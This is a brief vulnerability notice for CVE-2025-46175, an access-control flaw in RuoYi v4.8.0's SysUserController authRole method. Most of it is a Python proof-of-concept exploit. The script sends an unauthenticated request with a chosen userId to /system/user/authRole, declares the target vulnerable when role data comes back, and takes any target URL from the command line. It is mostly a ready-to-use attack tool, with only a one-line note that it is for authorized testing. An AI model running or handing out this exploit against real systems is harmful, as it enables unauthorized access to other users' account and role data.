Ruoyi v4.8.0 is vulnerable to Incorrect Access Control. There is a missing checkUserDataScope permission check in the authRole method of SysUserController.java.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-46175 PoC - RuoYi v4.8.0 Unauthorized Role Access
This PoC demonstrates the missing checkUserDataScope permission check
in the authRole method of SysUserController.java
"""
import requests
import json
import sys
def exploit_cve_2025_46175(target_url, target_user_id):
"""
Exploit the missing authorization check in authRole endpoint
Args:
target_url: Base URL of the RuoYi application
target_user_id: User ID to query role information for
"""
# Construct the vulnerable endpoint
endpoint = f"{target_url.rstrip('/')}/system/user/authRole"
# Payload to query role data for a specific user
payload = {
"userId": target_user_id
}
# Headers
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
print(f"[*] Target: {target_url}")
print(f"[*] Exploiting endpoint: {endpoint}")
print(f"[*] Target User ID: {target_user_id}")
try:
# Send the request without authentication
# The vulnerability exists because the endpoint doesn't check
# if the requesting user has permission to view the target user's data
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
print(f"[+] Status Code: {response.status_code}")
if response.status_code == 200:
data = response.json()
print(f"[+] Response: {json.dumps(data, indent=2)}")
if data.get('code') == 200:
print("[!] VULNERABLE: Authorization bypass successful!")
print(f"[!] Retrieved role information for user ID: {target_user_id}")
return True
else:
print("[-] Request failed or access denied")
return False
else:
print(f"[-] Unexpected status code: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python cve_2025_46175_poc.py <target_url> <user_id>")
print("Example: python cve_2025_46175_poc.py http://vulnerable-site.com 1")
sys.exit(1)
target_url = sys.argv[1]
target_user_id = sys.argv[2]
exploit_cve_2025_46175(target_url, target_user_id)